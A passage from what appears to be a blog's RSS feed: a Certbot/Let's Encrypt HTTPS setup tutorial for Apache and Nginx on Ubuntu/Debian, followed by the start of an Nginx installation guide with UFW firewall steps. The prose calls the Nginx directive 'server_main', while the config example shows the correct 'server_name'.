&lt;p&gt;An &lt;strong&gt;Ubuntu&lt;/strong&gt; or &lt;strong&gt;Debian&lt;/strong&gt; server (tested on Ubuntu 18.04 and Debian 10) that you have SSH access and &lt;code&gt;root&lt;/code&gt; or &lt;code&gt;sudo&lt;/code&gt; privileges.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;You can follow the &lt;a href="https://thanoskoutr.com/posts/ssh-server-configure/"&gt;SSH Server &amp;amp; UFW Configure&lt;/a&gt; guide to set up SSH best practices and configure a basic firewall.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A fully registered &lt;strong&gt;domain name&lt;/strong&gt; for the server: &lt;code&gt;example.org&lt;/code&gt; or &lt;code&gt;www.example.org&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Both of the following &lt;strong&gt;DNS records&lt;/strong&gt; set up for your server: - An A record with &lt;code&gt;example.org&lt;/code&gt; pointing to your server’s public IP address. - An A record with &lt;code&gt;www.example.org&lt;/code&gt; pointing to your server’s public IP address. - And optionally, the same setting for the AAAA records for IPv6.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can follow the &lt;a href="https://thanoskoutr.com/posts/duckdns-configure/"&gt;Duck DNS&lt;/a&gt; guide to get a free &lt;code&gt;*.duckdns.org&lt;/code&gt; domain and see how to configure the DNS records.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apache&lt;/strong&gt; or &lt;strong&gt;Nginx&lt;/strong&gt; installed and configured to have a &lt;em&gt;Virtual Host File&lt;/em&gt; (for Apache) or &lt;em&gt;Server Block&lt;/em&gt; (for Nginx) for your domain. - For Apache, we will use &lt;code&gt;/etc/apache2/sites-available/your_domain.conf&lt;/code&gt; as an example. - For Nginx, we will use &lt;code&gt;/etc/nginx/sites-available/example.org&lt;/code&gt; as an example.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can follow the &lt;a href="https://thanoskoutr.com/posts/lamp-install/"&gt;LAMP Install&lt;/a&gt; and &lt;a href="https://thanoskoutr.com/posts/wordpress-install/"&gt;Wordpress Install&lt;/a&gt; guides to see how to install Apache and create a &lt;em&gt;Virtual Host File&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;You can follow the &lt;a href="https://thanoskoutr.com/posts/nginx-install/"&gt;Nginx Install&lt;/a&gt; guide to see how to install Nginx and create a &lt;em&gt;Server Block&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="installing-certbot"&gt;
Installing Certbot
&lt;a href="#installing-certbot" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The Certbot packages for Debian and Ubuntu are a little bit outdated, so we can add the Certbot &lt;code&gt;ppa&lt;/code&gt; to get the latest version.&lt;/p&gt;
&lt;p&gt;Keep in mind that we don&amp;rsquo;t have to get the latest version, the one in the default packages will work just fine.&lt;/p&gt;
&lt;p&gt;Add the certbot repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo add-apt-repository ppa:certbot/certbot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;ll need to press ENTER to accept.&lt;/p&gt;
&lt;h3 id="for-apache"&gt;
For Apache
&lt;a href="#for-apache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Install Certbot Apache package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install python3-certbot-apache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="for-nginx"&gt;
For Nginx
&lt;a href="#for-nginx" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Install Certbot Nginx package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install python3-certbot-nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="confirming-apaches-and-nginxs-configuration"&gt;
Confirming Apache&amp;rsquo;s and Nginx’s Configuration
&lt;a href="#confirming-apaches-and-nginxs-configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="for-apache-1"&gt;
For Apache
&lt;a href="#for-apache-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Certbot works by finding the correct &lt;code&gt;VirtualHost&lt;/code&gt; field in the Apache configuration file in order to be able to generate an SSL certificate. It does this by looking for the &lt;code&gt;ServerName&lt;/code&gt; directive that matches the domain you request a certificate for.&lt;/p&gt;
&lt;p&gt;If you only have an &lt;code&gt;ServerName&lt;/code&gt; directive in a Apache configuration file at &lt;code&gt;/etc/apache2/sites-available&lt;/code&gt; it will automatically generate a certificate for this domain. If you have more &lt;code&gt;ServerName&lt;/code&gt; directives, you will have to specify the domain to certbot.&lt;/p&gt;
&lt;p&gt;If you have configured Apache correctly you should have a &lt;code&gt;/etc/apache2/sites-available/example.org&lt;/code&gt; configuration file with the &lt;code&gt;ServerName&lt;/code&gt; directive set appropriately, as in the &lt;a href="https://thanoskoutr.com/posts/wordpress-install/#enabling-htaccess-overrides"&gt;Wordpress Install&lt;/a&gt; guide.&lt;/p&gt;
&lt;p&gt;To check you should open the configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/apache2/sites-available/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and see the following line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-apacheconf" data-lang="apacheconf"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ServerName example.org
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ServerAlias www.example.org
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;if not update the config file by editing these lines and adding your domain and alias.&lt;/p&gt;
&lt;p&gt;Make sure we don&amp;rsquo;t have syntax errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apache2ctl configtest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the output has a &lt;code&gt;AH00558&lt;/code&gt; message ignore it.
We only care about the SYNTAX OK message.&lt;/p&gt;
&lt;p&gt;And restart Apache:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="for-nginx-1"&gt;
For Nginx
&lt;a href="#for-nginx-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Certbot works by finding the correct &lt;code&gt;server&lt;/code&gt; block in the Nginx configuration file in order to be able to generate an SSL certificate. It does this by looking for the &lt;code&gt;server_main&lt;/code&gt; directive that matches the domain you request a certificate for.&lt;/p&gt;
&lt;p&gt;If you only have an &lt;code&gt;server_main&lt;/code&gt; directive in a Nginx configuration file at &lt;code&gt;/etc/nginx/sites-available&lt;/code&gt; it will automatically generate a certificate for this domain. If you have more &lt;code&gt;server_main&lt;/code&gt; directives, you will have to specify the domain to certbot.&lt;/p&gt;
&lt;p&gt;If you have configured Nginx correctly you should have a &lt;code&gt;/etc/nginx/sites-available/example.org&lt;/code&gt; configuration file with the &lt;code&gt;server_main&lt;/code&gt; directive set appropriately, as in the &lt;a href="https://thanoskoutr.com/posts/nginx-install/#nginx-configuration-file"&gt;Nginx Install&lt;/a&gt; guide.&lt;/p&gt;
&lt;p&gt;To check you should open the configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/nginx/sites-available/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and see the following line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;server_name example.org www.example.org;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;if not update the config file by editing this line and adding your domain.&lt;/p&gt;
&lt;p&gt;Make sure we don&amp;rsquo;t have syntax errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nginx -t
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And reload Nginx:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl reload nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="allowing-https-through-the-firewall"&gt;
Allowing HTTPS Through the Firewall
&lt;a href="#allowing-https-through-the-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;See current settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To additionally let in HTTPS traffic depending on the profile we have allowed for &lt;code&gt;HTTP&lt;/code&gt; traffic:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow &lt;span style="color:#e6db74"&gt;&amp;#39;Nginx Full&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow &lt;span style="color:#e6db74"&gt;&amp;#39;WWW Full&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because now we don&amp;rsquo;t accept &lt;code&gt;HTTP&lt;/code&gt; traffic, we can close the &lt;code&gt;port 80&lt;/code&gt; from our firewall. Depending on your status we can delete every profile that has &lt;code&gt;port 80&lt;/code&gt; open, like &lt;code&gt;Nginx HTTP&lt;/code&gt; or &lt;code&gt;WWW&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw delete allow &lt;span style="color:#e6db74"&gt;&amp;#39;Nginx HTTP&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw delete allow &lt;span style="color:#e6db74"&gt;&amp;#39;WWW&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check again for the changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="obtaining-an-ssl-certificate"&gt;
Obtaining an SSL Certificate
&lt;a href="#obtaining-an-ssl-certificate" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;With the &lt;code&gt;Apache&lt;/code&gt; and &lt;code&gt;Nginx&lt;/code&gt; plugins that Certbot comes with, we can obtain an SSL certificate very easily with just one command.&lt;/p&gt;
&lt;h3 id="for-apache-2"&gt;
For Apache
&lt;a href="#for-apache-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo certbot --apache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="for-nginx-2"&gt;
For Nginx
&lt;a href="#for-nginx-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo certbot --nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="certbot-options"&gt;
Certbot Options
&lt;a href="#certbot-options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;During the Certbot execution you will have to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enter your email address in order to get notified for the certificate renewal and security notices.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Enter email address (used for urgent renewal and security notices) (Enter &amp;#39;c&amp;#39; to
cancel): youremail@address
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="2"&gt;
&lt;li&gt;Agree to the &lt;em&gt;Terms of Service&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must
agree in order to register with the ACME server at
https://acme-v02.api.letsencrypt.org/directory
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(A)gree/(C)ancel: a
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="3"&gt;
&lt;li&gt;Choose if you would like to share your email address with the Electronic Frontier Foundation.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Would you be willing to share your email address with the Electronic Frontier
Foundation, a founding partner of the Let&amp;#39;s Encrypt project and the non-profit
organization that develops Certbot? We&amp;#39;d like to send you email about our work
encrypting the web, EFF news, campaigns, and ways to support digital freedom.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: no
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="4"&gt;
&lt;li&gt;Select which names you would like to activate HTTPS for. You should press enter to select all shown names:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: example.org
2: www.example.org
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter &amp;#39;c&amp;#39; to cancel):
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="5"&gt;
&lt;li&gt;Choose to redirect all HTTP traffic to HTTPS and remove HTTP access for best security:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: No redirect - Make no further changes to the webserver configuration.
2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
new sites, or if you&amp;#39;re confident your site works on HTTPS. You can undo this
change by editing your web server&amp;#39;s configuration.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press &amp;#39;c&amp;#39; to cancel): 2
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="6"&gt;
&lt;li&gt;Now you have successfully enabled the certificates and you can try reloading your website with &lt;code&gt;https://&lt;/code&gt; and notice your browser’s security indicator.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Congratulations! You have successfully enabled https://example.org and
https://www.example.org
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="verifying-certbot-auto-renewal"&gt;
Verifying Certbot Auto-Renewal
&lt;a href="#verifying-certbot-auto-renewal" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The Certbot packages on your system come with a &lt;code&gt;cron&lt;/code&gt; job or &lt;code&gt;systemd&lt;/code&gt; timer that will renew your certificates automatically before they expire. &lt;strong&gt;We will not need to run Certbot again&lt;/strong&gt;, unless we change something in the configuration files.&lt;/p&gt;
&lt;p&gt;To check the status of this &lt;code&gt;systemd&lt;/code&gt; service and make sure it’s active and running, you can use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status certbot.timer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also check the cron script that is located at &lt;code&gt;/etc/cron.d&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/cron.d/certbot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To test the renewal process for the certificates, you can do a dry run with certbot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo certbot renew --dry-run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If that command completes without errors, your certificates will renew automatically in the background.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://certbot.eff.org/lets-encrypt/ubuntubionic-nginx"&gt;Nginx on Ubuntu 18.04 LTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-secure-apache-with-let-s-encrypt-on-ubuntu-18-04"&gt;How To Secure Apache with Let&amp;rsquo;s Encrypt on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://certbot.eff.org/lets-encrypt/ubuntubionic-apache"&gt;Apache on Ubuntu 18.04 LTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-18-04"&gt;How To Secure Nginx with Let&amp;rsquo;s Encrypt on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://landchad.net/certbot.html"&gt;Certbot and HTTPS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Nginx Install</title><link>https://thanoskoutr.com/posts/nginx-install/</link><pubDate>Fri, 02 Jul 2021 17:12:38 +0300</pubDate><guid>https://thanoskoutr.com/posts/nginx-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/nginx.png"/&gt;
&lt;p&gt;In this post we will see how we can install the Nginx web server in our Ubuntu server, and how to configure it to serve some files.&lt;/p&gt;
&lt;p&gt;If you have already a web server installed, like &lt;a href="https://thanoskoutr.com/posts/lamp-install/#apache"&gt;Apache&lt;/a&gt;, you either have to uninstall it or change the default port that is listening because it will conflict with Nginx.&lt;/p&gt;
&lt;h2 id="install-nginx"&gt;
Install Nginx
&lt;a href="#install-nginx" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We install &lt;code&gt;nginx&lt;/code&gt; and any required dependencies:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="adjusting-the-firewall"&gt;
Adjusting the Firewall
&lt;a href="#adjusting-the-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;After you have followed the initial server setup and enabled the UFW firewall,
make sure that your firewall allows HTTP and HTTPS traffic.
You can check that UFW has an application profile for Nginx like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw app list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You should get a listing of the application profiles:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Available applications:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Nginx Full
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Nginx HTTP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Nginx HTTPS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The three profiles do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Nginx HTTP&lt;/code&gt;: Opens &lt;code&gt;port 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Nginx HTTPS&lt;/code&gt;: Opens &lt;code&gt;port 443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Nginx Full&lt;/code&gt;: Opens both &lt;code&gt;port 80&lt;/code&gt; and &lt;code&gt;port 443&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will not set up any SSL certificate, so we will not use &lt;code&gt;port 443&lt;/code&gt;, so we can open only &lt;code&gt;port 80&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow &lt;span style="color:#e6db74"&gt;&amp;#39;Nginx HTTP&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;else to open both ports:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow &lt;span style="color:#e6db74"&gt;&amp;#39;Nginx Full&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify the change:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="check-web-server-status"&gt;
Check Web Server status
&lt;a href="#check-web-server-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can check the status of Nginx, by running:&lt;/p&gt;
